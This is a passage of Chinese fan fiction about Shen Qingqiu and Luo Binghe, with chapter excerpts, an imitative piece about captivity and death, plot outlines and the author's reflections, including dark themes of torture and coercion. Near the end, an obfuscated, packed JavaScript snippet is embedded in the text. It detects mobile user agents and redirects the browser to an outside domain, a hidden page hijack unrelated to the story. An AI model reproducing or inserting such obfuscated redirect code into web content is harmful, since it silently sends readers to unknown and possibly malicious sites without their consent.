岳清源跟脑子抽风了似的非要让他与柳清歌组队,柳清歌这个没脑子的偏偏又带上了洛冰河。最重要的是,这家伙见猎心喜,看见四散奔逃的妖兽迎头就追,连弟子都不要了! 柳清歌就这么相信他?他不怕他把他的弟子给丢了或者卖了杀了?沈清秋可是早就打定主意,哪怕是拼着与柳清歌彻底交恶,也要弄死洛冰河的! —— 洛冰河不知道沈清秋在想什么,但从那张越发阴沉的脸上,到也能推断出一二。无非就是在思考如何杀死自己,如何逃离自己的困锁,如何彻底摆脱他之类。 沈清秋简直太好懂了。 要么就是沉迷于提升修为,要么就是找烟花女子放松神经。世间能令他有情绪波动的人不多,因为不与人接触,所以除了那么几个人,他不会关注任何的其他人。 只要不在他心底的圈子里,哪怕旁人将一颗心挖出来给他看,他也不会有半分情绪波动。 而对于折辱,沈清秋的想法也很简单。要么杀了对方,要么咬牙忍耐、直到有机会杀了对方。 单纯的折磨并不能引起对方关注,断手断脚也不能阻拦对方选择逃离。唯有毁去他最关注的修为,用他心中最关注的几人做诱饵,才能让他心甘情愿的钻入渔网,画地为牢。 ——第七章:师尊个鬼啊,劳资可不认你这个弟子—— 其实沈清秋是有些害怕洛冰河的。虽然他给自己做了不少的心理准备,直面对方的时候,心跳还是下意识的慌乱起来。 只是—— 这种数不清道不明的紧张与恐惧,究竟是因为一场无名无迹的噩梦,还是被其他人当成猎物的警惕? 他一介修真界大能,修为即将踏入半步化神,移山填海、改换天气在所不能。却为何,会害怕一个连筑基都不曾的少年? 就因为这个少年未来成长起来会成为世界第一,拥有毁天灭地的能力? 可没有成长起来的天才…… 有什么好怕的? 沈清秋无意识摩擦着手中的折扇。略显凉意的玉质骨扇精致温润,玉石都被打磨成可透光的薄片,经过细细的调整与抛光,镂空雕琢之下,每个弧度都被勾画为观感最美观的样式。 心理学中有一个概念,叫做‘诉诸无知’。如果说一件事不能判断是对是错,那么其实可以断定他为正确——因为你不能证明他是错误;同理,你也可以断定他为错误,因为你不能证明他是正确。 这样对错交错、不能确定的概念,其实很像薛定谔的猫,在不打开盒子之前,谁也不知道猫究竟是死是活。 同样,在没真正接触洛冰河之间,沈清秋做的所有心理准备,都不确定是否有效。 但逃避是不可能解决问题的。所有的构想与预设,所有的解决方案,都不可能通过‘假想’去真正布置。 沈清秋看着一步步走近的洛冰河,略微侧一下身子,将后面的明帆支开:“明帆,去看一下柳清歌死了没。” 明帆有些不理解,但沈清秋发出的指令,明帆也不会质疑和拒绝。故而,明帆恭恭敬敬的行礼之后,朝着柳清歌离开的方向跃去。 “师尊。” 洛冰河很满意与沈清秋的‘单独接触’,为此可以将弄死明帆的计划稍微延后一些,将与沈清秋摊牌的事情向前拉一下。相比较于一个已经被杀死过一次的敌人,将逃出自己手心的孙猴子押回掌心,才是更重要的事情。 “?” 出乎意料的是,沈清秋对于这个称呼无感。并没有出现洛冰河预想中的惊慌失措、转身欲逃。 甚至说,沈清秋眼里的震惊和疑惑是那么的明显,随口回复的‘你拜入的是百战峰’就像是不经思考便已发出,完完全全的出于本心似的。 在沈清秋的记忆里,梦境中的故事并不是他的‘过往’,反而是让他警戒、不要步悲惨结局的某种预告。既然是梦,那就是假的。既然是假的,他连自己‘为何会怕一个晚辈’都搞不清楚,哪里会将对方当成弟子? 可在洛冰河的心里,他是完完全全将‘过往’当成前世,前世手握生杀大权、坐拥万里江山,基本上该享受和想要的都已得到。这一世重生归来,本就是赚的,而他这辈子唯一的想法便是好好折腾沈清秋,与他纠缠一生。 两者的心理截然不同,对于‘前世记忆’的接受程度也完全不同,自然是有些驴头不对马嘴的‘理解不了对方’。 对于沈清秋的随口应和,洛冰河想起这世本该名正言顺的拜入百战峰,却还是被这恶毒小人搅了局。被掌门亲自送过去,最后连对方的面都没见着。 这个笑话,若不是洛冰河听到一次打一次,愣是打到没人敢在自己面前提起,他不知要被嚼多久的舌根。 想到这里,洛冰河舌尖抵住下牙龈,忍不住磨了磨,被研碎的不满与莫名生出的愤懑令他幽幽回复: “这还要感谢‘沈师伯’不收之恩。” “……” 沈清秋有点莫名其妙。 虽然他总是很抵触与对方产生纠缠,可现在真正相处起来,却只觉得不能理解和无语。 有谢不杀之恩的,有谢相救之恩的,有谢拜师学艺、得报大仇的。 可这……‘不收之恩’,当真令人摸不着头脑。 洛冰河看着跟自己‘装傻’的沈清秋,原本想给他点颜色看看,可惜灵气还没发出,就被沈清秋设下的阵法压制。 沈清秋看着被突然激发的阵法,折扇‘唰’的打开又合上,颇为认真的点点头,面上带着了然:“你果然是杂种。” “……” 沈清秋当真是,这张嘴里吐不出象牙来。 只是,就算现在暴露人魔混血又如何,大不了现在就前往魔界。已经打过的副本,还能因为时间段的不同,难度增加到洛冰河无法收复不成? 洛冰河脸上带着笑,打算与对方摊牌。只是在此之前,他更想知道沈清秋如何看待魔族:“那么‘沈师伯’,你要如何‘处理’我呢?” ——第八章:柳清歌,你TM别拦劳资—— “师尊——” 沈清秋对洛冰河的‘师尊’无动于衷,对于另一侧传来的‘师尊’应得倒是极快。他扭头看向明帆,脸上露出浅淡的微笑。 “嗯。” 虽然只有一个词句,但却是真真实实的接受并回应的。 洛冰河的眼神一瞬间变得极为危险,他不想承认自己是嫉妒明帆,只是这个家伙前世今生都对自己不友善,所以上了洛冰河的必杀名单而已。 这样一个肆意欺压其他弟子的恶霸,这样一个占着大弟子名分拉帮结派的狗腿子,这样一个修为领悟都比不过自己的废物,凭什么沈清秋对他如此友好? 沈清秋,你既然主动远离那些烟花女子——就该知道,你看中的、亲近的所有人,都会因你而死。 而你,现在却在我面前对明帆如此‘偏爱’,是想借我之手,除掉你的大弟子吗? 既然如此,我就如你所愿,让他早些入轮回,绝了此世生机。 —— 又是那种被当成猎物的侵略性目光。对方似乎再也不想伪装,穿透性的视线仿佛要将他抽皮剥骨、寸寸凌迟。 沈清秋骤然回望,撞进对方深沉到幽黑的瞳孔。 那样一双冷漠残忍到无机质的眼眸,其中却燃烧着足以将人灵魂都灼伤的炽热占有欲。 剧烈的疼痛突然在脑海深处中炸响,血红的痕迹猛然布满了眼瞳。瞬间爆裂的思绪与记忆碎片牵扯着他的神经,灵魂像是被人拿捏着揉成圆团高高举起后砸向地面,暴风骤雨般的痛楚几乎将他吞没。 “唔——” 沈清秋再也忍耐不住,半跪于地面之中,手握成拳,狠狠的砸向脑壳。 “沈清秋?”“沈清秋!” 与明帆一同走来的柳清歌瞬移到沈清秋身边,捏住沈清秋砸向额头的手腕,制止他自虐般的动作。 沈清秋没有回答,也不曾停止挣扎。他的眼神是失焦的,猛然出现的记忆如同河流,冲刷着他的认知与思绪。 他最厌恶的就是同性接触,偏生他上辈子,却被人当成床奴反复压制;他最是遵循礼仪伦理,偏生却被最看不起的弟子欺师妄上;他最是不愿将脆弱展示给旁人,偏生这厮极为恶劣,最喜看他吃痛求饶。 这样恶劣的存在; 这般该死的罪人; 这种心怀鬼测的半魔畜牲, 为什么杀不死?! 天道又为什么会允许对方成就化神,镇压世人? 沈清秋的心中恨意大盛——从前他不愿回忆那个梦境,一厢情愿的将其当成‘悲惨预警’,可现在…… 就在他与那个畜生对视的一瞬间,那些被强行忘记的过往,那些刻在骨子里的恨意,那些被迫迎合却又次次濒死的服软…… 在沈清秋的灵魂深处,有无论如何也不愿屈服的抗争。这种磨灭不掉的特性,或许会被称为不服输的傲气,但更多的,是宁可带着大家一起死、或者说干脆毁灭自身的决绝。 TM的,不服就干、生死看淡。如果洛冰河真的无论如何都死不了,干脆让他带着对方一起魂飞魄散算了! 沈清秋一把推开柳清歌,拎着修雅就要一剑砍死洛冰河。这玩意后期是死不了,但现在只是一个连筑基都没跨入的练气,难道天魔血能跨越如此多的境界,让他无论如何都能恢复并死不了吗? 只是—— 该死的柳清歌,之前将弟子丢给他,怎么现在却护上了? “沈清秋,你别发疯!” 柳清歌挡在洛冰河面前,看着明显走火入魔到眼睛猩红的沈清秋,乘鸾剑半出鞘,抵挡着对方火力全开的阵势。 他们两个也是绝了。柳清歌走火入魔,沈清秋先是不拔剑,最后逼的拔剑对战;沈清秋走火入魔,柳清歌纠结着要不要拔剑,最后还是抽剑格挡。 整个苍穹山,除去几乎从不拔剑的岳清源,沈清秋与柳清歌可以算是没事就干架的典范。若非沈清秋登上峰主位后修身养性,连配剑都取名为‘修雅’,便说他是百战峰的人也不为过。 “柳清歌,让开!” 沈清秋一剑劈出,道法幻万剑围绕在他身边,随之他的动作而四处炸裂。既然洛冰河是半魔,那沈清秋就引动九天玄雷,随着电闪雷鸣,将对方化为焦炭! “沈清秋,你发什么疯!” 柳清歌一般不修防御,毕竟他的理念一贯是‘最好的防守就是进攻’。但沈清秋走火入魔,第一想法不是与他对打、而是拿他连筑基都没有的弟子开刀,这怎么能行? “九天玄刹,化为神雷;煌煌天威,以剑引之!” 神剑驭雷诀,乃是道家的无上术法之一,可以吸纳万千雷霆为己所用,以凡人之身引发天地之威。诛妖破邪、苍雷齐喝,旋涡深处更是汇聚起万千伏特电流,随仙剑的引导而疯狂涌出。 沈清秋身上包裹着一层无形护罩,晴空万里的云彩骤然破裂,剧烈颤抖后化为水雾旋涡。此招需耗尽沈清秋大半灵力才能施展,他不仅仅是动了真格,更是拼着将方圆数百里毁为灰烬的代价,誓要诛杀此魔! 31.不死不灭,得偿所愿 分析及大纲 看了一下冰九榜第一的娈宠,还有几篇别的(下面随机推荐的文章)。 (有位贼牛批的大佬指出,虽然仿写,但并没有到点子上,所以写出来不伦不类的……emmmm,哭嘤嘤) emmm。经过尝试,再度坚信我果然是甜文兼小白文写手。 我朋友之前还说我虐九,但是我的‘虐’基本上都是几句话带过(毕竟磕冰九不可能不虐九……) 果然磕冰九的,每个都是强制爱、S属性爆满的…… 简单模仿一下,纯粹看完的读后感。(我知道模仿的贼差,就当是碎碎念吧……) ———— ———— 沈清秋被洛冰河丢到地牢很久了,那是一个独独为他打造,几乎从不让外人进入的地方。就连看守之人,也是一段时间会换一次,严格禁止入内的。 时间能抹杀一切东西,几百年的时光里,沈清秋的寿命已经接近尽头。外面关于他的消息,更是早在修真界与魔界合并之时,就消逝得无影无踪。 只是洛冰河毕竟是魔尊,想讨魔尊欢心的人太多了,而从各种历史残痕中挖掘上位者的喜好、想要搏一搏单车变摩托的人不在少数。 故而,魔尊洛冰河,突然意识到一件事—— 这么多年来,他好像从来没有‘深入’的了解过他的好师尊,甚至可以说是刻意避开了与对方的‘肢体接触’。 明明,洛冰河是个生冷不忌、最喜新厌旧、好尝新鲜的人。 为了这样一个几百年不曾改变的阶下囚,洛冰河甚至要一周去查看一次,哪怕是不增加其他折磨,也要保证对方死不了。 这样的‘特殊对待’,洛冰河给他的‘关注’是不是太多了些? ———— 又是睁不开眼却还冷漠抗拒的样子。 其实洛冰河很多时候并不是很暴虐,也没有不发疯、不打人就会四处难受的‘爱好’。 他只是—— 想看对方因他的举动而有所变化。 是的。洛冰河摊牌了,他就是想看沈清秋的反应。 想看他因自己的举动而下意识流露出的害怕与厌恶,想看他紧锁眉头,想听他的抽气与唾骂,想看到他无力反抗却又停不住的挣扎。 更想…… 在对方的眼睛里看到他的倒影。 ———— 洛冰河要承认,在遇见另一个‘沈清秋’的时候,他的心里是惊喜的,是心动的,是想要将人掳回来的。 即便代价是征战另一个世界,即便要与另一个小畜牲对打,即便被他带回来的沈清秋会成为与地牢中一样的、恨不得弄死他的‘沈清秋’。 可是洛冰河还是想那么干。 最后没那么做的原因——仅仅是因为。 气味不对。 可笑吧?明明是一样的身躯、一样的装扮、一样的居住环境下的气息。 但这个‘沈清秋’的性情里,居然能给人无底线的纵容和温柔。 这样的温柔,令洛冰河逃了。 就像是沈清秋能接受各种刑罚、咬牙坚持,从不服软一样。 洛冰河同样能为了目的忍耐一切,只为了最后翻盘。 而那个‘沈清秋’…… 会磨灭软化洛冰河的心性,让他不由自主的柔软起来,想要去‘倚靠’。 冰哥不可能成为冰妹,不仅仅是时间与空间。 更多的是,冰哥不可能将后背,展示给任何人——哪怕那个人是沈清秋。 那个温柔沈清秋会轻轻揽住他。 他的沈清秋却会一剑斩向他。 所以,他们才是绝配。 一样的为目的不择手段,一样的为最后忍耐一切,一样的怀疑任何人、警惕任何人、身居高位却时刻保持清醒。 这,才是真正的男频仙尊该有的心态。 ———— “沈清秋,你最厌恶同性。可若是成为我的宠奴,给你休养生息、背刺与我的机会,你可愿要?” 洛冰河不需要沈清秋回复。 他自顾自的为沈清秋安排好一切,又拼凑好一切,等着对方睁开那双无情到隔绝世事的眼眸,等待着对方为了寻求机会而可能出现的‘虚以委蛇’。 我知道你会背刺于我。 可是在此之前,请让我感受一下虚假的温情吧。 即便那是你哄我的鹘毒,我也甘之如饴。 ———— ——碎碎念—— 别问,问就是写得大纲从来没用上过。 明明大佬的原文不是这样的,咋我看完就写出这样的了??? 人家明明肉香四溢,为啥我写的跟个救赎似的??? 行吧,我摊牌了,我是甜文写手,哪怕是仿虐文也是甜到齁嗓子…… —————— 不死不灭,得偿所愿 ooc预警:沈九命不久矣,故而一切看淡。冰哥同龄已经死得差不多,只剩下被他强拉着续命的沈九勉强存活。 ———— 沈清秋睁开眼时,难得的很轻松。 平日里那小畜牲总喜欢耍些莫名其妙的花样,看他因疼痛而颤抖、因忍耐而谩骂、因愤恨而诅咒、因折磨而昏迷。 这么多年来,即便身躯不死,灵魂的疲劳已濒临崩溃。灵魂是有寿命的,经历这么多年的磋磨,他早就该死了。 只是没有亲眼看着囚禁自己的人跌倒,总归不甘心。 他的性命被恶意留下,本就是一种‘见证’。 洛冰河想让他看着洛冰河一统两界、光芒万丈,想让他看着他佳人环绕、妻妾成群,想让他孤独疼痛、只身一人,而洛冰河坐拥江山、成就世间至尊。 得志不还乡、如锦衣夜行。 洛冰河越是志得意满,便越是要告诉沈清秋。他要他因自己的选择而悔恨,因两人的强烈对比而落寞。 洛冰河经常问沈清秋‘后不后悔’。 沈清秋从不回答。 往往认为对方做了错事并得到了坏结局,才会问对方后不后悔。 沈清秋若是说后悔,也是后悔当初没有直接杀了对方。斩草要除根。他就是因为一时心软,才跌入如此地步。 ———— “师尊,睡的可好?” 洛冰河看着神情恍惚的沈清秋,声音清雅、语调温柔。他已打定主意要与对方纠缠,这次便是要付出十足的耐心去陪对方过家家。 “小畜生,有病?” 沈清秋支撑起身子,打量着自己苍白如纸、没有半分血气的手掌。之前他已成残躯,洛冰河怎有闲心为他拼接身躯,令他恢复‘完整’? 事出反常必有妖,无事不登三宝殿。 洛冰河究竟有多恶劣,沈清秋心里还是有数的。 对方既然将他安置在床铺上,又为他完整身躯,要么是打算用他的身躯做些什么——比如炼制傀儡;要么就是犯病——比如让他用上几天在损毁,给人希望后狠狠踩碎。 只是沈清秋没想到的是,洛冰河的打算比他能想到的还要恶毒—— “师尊,您在苍穹山也算经常采花,不知这技巧如何?” “畜牲!尔敢!” 沈清秋右手并成剑指,即便是数百年没用过灵气,动作便是再生疏,也远比束手无策的强。 “师尊,您别动气。” 洛冰河专门换成与清静峰弟子服极为相似的样式,笑意盈盈的行个弟子礼: “师尊想必知道,男子与之欢爱之时最是容易放松警惕。弟子便是给师尊一个机会,师尊可要?” “……” 沈清秋脸色有些阴沉,可施展法术半天也不曾感受到灵力,手腕之间更是无缚鸡之力。想要击杀对方,对方的话语,也—— 该死的,太长时间精神迷糊,他的思绪竟然被引导了! “不可能。” 沈清秋干脆利落的拒绝。 洛冰河也不急,沈清秋的拒绝是很正常的,相反沈清秋要是能接受,才算是有鬼。 只是—— 洛冰河并不想就这么‘放过’对方,能与之多聊几句,总比转身离开、又看不见的强。 “师尊啊,您这张脸在当年可是冠绝天下,这峰主之位……在被弟子拉下之时,可是有些名不副实啊。” 沈清秋明知这人是在激他以色上位,却还是气的不打一处来,张嘴就是刺: “洛尊主这张脸比之沈某有过之而无不及,平日里生冷不忌,不知又睡了多少人?” “白日里要与那些没脑子的魔物争权夺利,晚上还要思考拉拢哪位美人,如何平衡朝政,便是青楼小倌,也比不得你‘有经验’。” “……”洛冰河看着伶牙俐齿的沈清秋,眼中猩红一闪而过,心中瞬间想将对方压在地上,一颗颗的、将这张嘴的牙拔下来。 “想扳我的牙?” 沈清秋看一眼洛冰河的表情,就知道他打的什么主意。只是沈清秋已察觉到大限将至,故而也无所谓了。 人之将死,他还在乎什么?便是黄泉碧落,与他何干? “师尊啊。”洛冰河坐在一旁,享受两人难得的和谐时光:“您平日里采花眠柳,这床榻之上,可有心得?” “牡丹花下死、做鬼也风流?” 沈清秋斜瞥洛冰河一眼,完全不搭腔。他的寿命所剩无多,若是施展秘法,偷袭之下,应该能拼上一把。 只是——想要击杀对方,难度太大。 “您若是‘勾.引’一下弟子,即便是手段生疏低端,弟子也会‘上当’的。” “不会。” 沈清秋是仙尊,又不是妓和倌,怎会勾搭手段?即便是能施展,他又为什么要听从?即便是对方想强压于他,他手中的禁术,也够他爆发一次。 至于爆发之后会不会死,或者继续被丢到地牢…… 重要吗? 不怕死,不惧死。他拼命的存活,只是想看敌人的败落。 可现在他真的走到了寿命尽头,倒也无所畏惧了。 “那师尊……”洛冰河突然走近,软了脸颊,抓住沈清秋的手腕,将脸贴在对方手背上,作出荣慕的样子。眸中闪着温柔的亮光,就像是孩童看见了可靠的长辈: “弟子求师尊疼我?” “……” 沈清秋的腿脚还是忍不住,将人一下踹出去。 TM的,之前你折腾劳资躯体。 现在想恶心我的心理? 情理上的恶心比身体上的折磨更难忍,洛冰河的‘温柔’比直接硬杠更吓人,精神上的欺压远比身躯的伤痕更难恢复。 如果洛冰河直接欺身压上,沈清秋会毫不犹豫的燃尽生命最后的寿元,与对方拼杀。 可现在洛冰河只是言语上的‘调.戏’与‘调笑’,沈清秋除了被恶心的后背爬上一层鸡皮疙瘩,还有被恶狗惦记的惊悚。 这玩意怎么突然改换风格了? 难道常年的掌权和治理,终于让他疯了? ———— “你就是尊主新的的美人?长得一脸虚弱,谁知道能不能活到明天?” “就是就是,就这还让尊主花那么多的功夫,看起来就不是好东西。” “听说这可是几百年前的老妖物了,为了自己活命,当年的修真界第一大派都被他用来讨尊主欢心,还不是没成功?” “这位可是心狠啊,当年的修真大派掌门和修真界第一人,都因为他而死呢。可你看看,祸害遗千年,这‘罪魁祸首’反倒活的好好的~” “话说……当年陪尊主一起征战的漠北王,是不是几年前换代了?” “早在几十年前就退位了,只是近些年传出风声即将行之将木而已。” …… 洛冰河急忙赶过来的时候,便是看见被众位美人包裹的沈清秋,正脸上升起奇异的光芒。 而沈清秋穿越层层人海,看见洛冰河的那一刻,竟然笑了。嘴角越拉越大,连睫毛都弯起弧度: “哈哈哈哈哈” “怪不得,怪不得!” 沈清秋笑的肩膀颤抖不已,苍白的脸上升起两片红晕,这样狂热的、张扬的、肆意的、自由的笑声,宛如烟花璀璨的绽放。 每一个短促的气音都充满了当事人的激烈情感,激昂又疯狂,仿佛能掀起海浪,撼动山川。 其他美人都愣住了,她们不明白,为什么这个看着随时会破碎的玻璃娃娃,突然能发出如此张扬又疯狂的大笑。 难道说,这位曾经的仙尊,早就是个疯子? 唯有疯子,才能接受‘所有人都已死去,而他寂寥的存活’这个事实。 有人出言讽刺:“沈仙尊还以为是仙尊呢?你的故事早就结束在几百年前,你这个苟延残喘的妖物,早就不该存在于此!” 沈清秋笑的眼睛闪出泪花,抬眸看向洛冰河:“天魔之血,不老不死,灵魂不灭!” 洛冰河挥手让其他人离开,独自站立在沈清秋面前,布下层层枷锁。 他已经没有‘同龄人’了。眼前这个是唯一存活的家伙,他绝不允许对方脱离自己掌控! 沈清秋缓缓收声,眼里的愤恨、疑惑、恼怒、绝望、崩溃都已消逝,最后竟留下与岳清源相似的厚重: “我不会在与你为敌,因为我即将踏入归途。而你,将永留世间,连死亡,都不能。” 洛冰河赶来之时便有些不对劲,现在听到沈清秋的话更是情绪失控,他的手无意识的掐住沈清秋的胳膊,留下一道青紫发黑的印痕: “沈清秋,你不能死,你不会死!我不允许你死!” 沈清秋完全不在乎胳膊是否被扯下,他笑的癫狂又肆意,疼痛使他眼睛紧闭,可超脱一切的信念令他忽视所有: “洛冰河,你大权在握,镇压世人,何等风流?” “可惜与你同龄者皆入土,与你同行者皆泯灭。偌大的世间,除了史书与传闻,你竟活成了‘历史’!” “你爬上世间至尊,登临天下第一,成就权势鼎盛之时,终成为了‘孤’!” “不死不灭,不死不灭!哈哈哈哈哈!” 洛冰河用手狠狠的压住沈清秋的唇,沈清秋毫不犹豫的张口就咬,两人都拼尽全力的想要制止对方,一如这么多年的对抗。 洛冰河急于抓住什么,所以用蛮力将对方压住,开始撕裂对方的衣物——沈清秋体内有自己的血,他不会死,一定不会死! 他刚才说的都不是真的,绝对不是真的! 沈清秋吃痛的紧皱眉头,深吸一口气向右下方使力,脱臼的右臂被他以身躯侧压接上,不顾身后之人如何,他自顾自的并起剑指,吐出一口舌尖血—— ———— “洛冰河,身躯不死不灭,可灵魂却有寿命。我即将赶赴相见之人,而你,将永留人间。我心甚慰,我心甚慰!” 洛冰河的动作越发粗鲁,势必要将黔驴技穷的沈清秋融入骨髓。他不信,沈清秋灵魂破灭,更不信对方再也醒不过来。 他还没等到对方的服软,更没有听到沈清秋的道歉。沈清秋是他的,永远是他的,哪怕是追至阴曹地府,也要将灵魂‘拘’回来! “洛冰河,我便祝你永享万里江山,美人环绕,长生不老!” “生生世世,永生永世!” “不老不死,灵魂不灭!” 眼前之人是如此恶劣,哪怕是再说如此‘祝福’之语,眼神却带着极度的疯狂与痛快。这样癫疯的神情,这样肆意又恶毒的话语,竟比沈清秋之前的所有唾骂与讽刺更刺穿人心。 洛冰河想用手压住对方的嘴皮,又怕听不全对方的‘临终之语’。他只是想将对方拥入怀中,融入骨血。沈清秋的反抗太过激烈,竟直接耗尽了生命寿元,连头发都成为雪白。 他害怕着、期待着、恐慌着、手足无措的…… 希望用天魔血为对方续命。 “沈清秋,你别死!我不允许你死!你这样恶劣的人阎罗怎会收?” 可惜。沈清秋的性情太决绝,半点退路没留不说,被天魔血维系的躯体也瞬间老化。 洛冰河徒劳的喂血、换命、招魂,都于事无补。 一统仙魔两界的魔尊,终于泪流满面的放下手中枯骨。而这世间,除了他的记忆,再不会有任何……知情人。 他们都得偿所愿了—— 沈清秋得到了自由。 而他,坐拥江山如画,享无尽孤独。 其他大纲&脑洞 我又又又去看大佬的文…… emmmm,虽然写不出来,但是真的好香好好磕好喜欢! 呃…… 不信邪,再写下脑洞。 ———— ———— 九被冰压很久,逃不出去也没办法逃。(emmm,我真的是主九,所以除了‘背景’和‘回忆’,都不会刻意‘虐’九) 冰(强势、抱紧、硬压):“师尊,别离开我。” 九(没力气、虚弱):“我又能去哪?” 山门被灭、亲友死尽、弟子与同门皆被屠戮,洛冰河手握天下,他便是离开,又能去向何方? 冰:“您那也去不了。” 所以,我征服整个世界,就是为了让你逃无可逃、避无可避,除了我的怀里,你哪也走不了。 九:“呵——” ———— 九:“不要,累了,不干。” 冰:“弟子手下有分寸,知师尊者,唯弟子也——“ ———— 九:偷摸画符被发现。 冰:“看起来师尊最近恢复的很好啊,很有余力。” 九:“不……” 冰:“正好弟子寻得新花样,师尊陪弟子试验一二?” ———— 冰:“师尊,这些零碎可喜欢?” 九:“让我出门就喜欢。” 冰:“您出门不是不可以,就是要带些东西……” 九:“畜牲!下流!龌龊!” 冰:“那您出去吗?” 九、咬牙:“出。” ———— 冰:“您果然……不听话啊。” 九:举剑、忍痛、御符。 冰:“身上带着‘玩具’还能如此大动作,下次您求着弟子停下,弟子可不会心疼您了。” 九:举剑就砍。 ———— ———— tnnd。 我都这么废料了,为什么还是到了举剑对砍…… 果然,看都时候激动不已。 自己写完全不可能。 好吧。这种‘正统’冰九,我是真的写不出来…… 还是考虑写九X冰妹吧……这个或许好一点(哭) ———— ———— 仔细思考半天…… 我果然是正常人() 所以我的逻辑思维非常正常且普通…… —— 冰:你为什么不喜欢我? 九:就你那所作所为,伤了我还说爱,他要是能爱上才算有个鬼,当他很贱吗? 冰:那是因为爱。因为我不会爱。现在我会爱了。 九:受伤的人是劳资,又不是你,施害者的后悔有个屁用,还不如你早点死掉我更开心。 冰:那我该怎么做 九:将我吃过的苦吃一遍,将我受过的罪受一遍,接着去死。 ———— 好吧。我果然是正常人…… 磕CP时候兴高采烈, 自己遇见或者自己写完全get不到强制爱的点…… 想磕CP时:破镜重圆,经历艰难困苦终于走到了一起,好甜!! 理智状态:TM的伤成这样还想走到一起,当他贱到世界上没男人了吗!!!给劳资一把刀,劳资要手撕渣男! —————— 大佬写出来的人物极为细腻,并且每一章应该有个4k-8k,稳定日更,每天4k,作为读者简直太幸福了! ———— 再次看一下自己写的—— 嗯。 果然看文和写文是完全不同的。 —— 看文:哇哦大佬牛批!九和冰都舍得说开心里话,解除误解、走到一起啦! 写文:你居然怜悯?怜惜?你当我是需要被拯救的弱者?算了别恶心我了,现在就打! —— 个人记录——脑洞 沈清秋是男频仙尊,固执与不安是他的底色,谨慎与机关算尽是他的本能。他可以忍受刑罚与折辱,因为来自敌人的打压,本就是为了看他‘表露痛苦与脆弱’,进而破他心防,坏他道心。 只是,他最不能抵抗的,是一颗真心。 真心这种东西,沈清秋从没遇见过。当然,即便是有人(指年少洛冰河)捧着一颗真心过来,身为苍穹山一峰之主的沈清秋,也不会在乎。 更何况,身处于他的位置上,那么多人向他示好,又那么多人对他表忠心。谁知道真挚的表情底下,又是挂着什么样的肮脏心思? 只是风水轮流转,当初那么多人对他表露爱意,当他跌下高台时,就有多少人展露恶意。脱粉回踩,污水加身。当一个月亮从天空坠下,没有人不想去踩上一脚。 所以曾经的沈仙尊不屑于真心,现在的沈清秋没人会接近。 而这其中,最后为沈九赴死的岳七,竟成了唯一‘贫富不移’的为沈清秋努力之人。 他们或许谈不上爱,也可能算不上兄弟情,更可能参杂了过量的阴谋算计、权衡利弊。 但——不得不说,唯一出现且赴死的,只有岳七。 所以当岳七死去的那一刻,他才真正的成为‘白月光’,也真正的,摧毁了‘沈清秋’的道心。 沈清秋还剩下什么呢? 地位?权势?弟子?修为?身躯?理智? 真不巧,这些东西,都被‘洛冰河’一点点毁去。就连最后的一点点心里坚守,也成为了灰烬。 是时候死亡了。也是该死去了。 他拼尽全力的活,终于……只剩下他一人。 所以‘沈清秋’想要‘洛冰河’死,理所应当。 只是—— 洛冰河罪无可恕,可洛冰河的报复,却又有理可循。 是沈清秋先种下恶的种子,洛冰河才开出恶的花。而洛冰河这个恶的花朵,又反过来摧毁一切。 他们的恩怨里,竟分不清究竟谁错的更多一些,也分不清,是谁负了谁。 沈清秋是小人,洛冰河是暴君。 多么般配,多么相似,多么——合拍。 当洛冰河终于发现隐藏于层层情感下的执着,也终于看懂沈清秋深藏于心的不安与自弃。 善于用行动表明态度的他,也总归是用行动证明了自己。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187621|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— ———— 施暴者可以随意忘记,因为疼的人不是他。可若是当真有一天,施暴者与受害者同心同命,施暴者在受害者身上犯下的所有罪过,都是施暴者的……‘罪证’ 当然,如果略微阴谋一些…… 沈清秋依旧在害怕,怕自己现在所感受到的爱意被收回。所以他在赌,赌自己即便用这付残躯,依旧能成就至尊位;同样,他也在用这份残躯,时刻提醒自己不要耽于逸乐,须知‘女之耽兮,不可说也’;第三个,他要用这些痕迹去‘提醒’洛冰河,要他记得他犯下的罪恶,要他用尽全力去弥补,要他记得数百年前的‘沈清秋’,究竟为了现在这一点点的‘甜’,吃了多少苦 ———— 可以死,因为马革裹尸,本就是英雄归宿;可以活,因为生存本就是第一要义。但关于精神的折磨与打压,却是直接灭杀人的灵魂,彻底将‘灵性’碾压,强行涂抹为其他颜色 ———— 在数个世界线中,总有几个‘沈清秋’被灭杀魂灵,成为傀儡。可人心总是贪婪的,拥有了躯体,就想要灵魂。可惜被强行改造之后,同样的身体却是完全不同的灵魂,于是主人家再次暴躁‘你为何,又不再反抗?’失去原本尖刺的你,已经不再是让他痴迷的模样。 ———— 不被爱的人,表现太明显了。他们会小心翼翼的捧起糖果,当心体温会将他融化。又会时刻谨慎的反复确认,生怕因不注意而将其丢失。所谓‘患得患失’,无非是觉得害怕失去——得到之后的失去,远比从未得到,更可怕 ———— 知乎有个问题:为什么杀人可以被原谅,凌辱不行? 答:杀人可能是被迫,折磨侮辱却永远遵循本心。虽说英雄论迹不论心,可当一个人心中完全不将人当人都时候,还能指望他作出什么‘人’的举动吗 ———— 自己的玩具被破坏殆尽,于是看见别人精心养护的宝物时,被愤怒击溃的人啊,就开始疯狂的争抢与掠夺:“凭什么他可以拥有,而我不行?”“要么大家一起没有,要么就将别人的变成我的!” ———— 他们‘爱’他,爱的是仙魔共主的身份;他们‘喜欢’他,喜欢的是洛冰河这副皮相:他们说想要‘接近’他,却又被洛冰河的冷漠所刺激,被他的残暴所恐吓,被他的残忍所震惊和害怕。 所以…… 那些人,因为这些人类所存在的‘缺陷’,逃过了来自洛冰河的……神经。 怎么不算塞翁失马呢? ———— 凭什么对方犯下比自己还恶劣的事情,却能得到原谅? 为什么他作下的错事,却将人灵魂泯灭、徒留一具空盒? 两者之间,如果不是该死的‘幸运’,又是为什么? 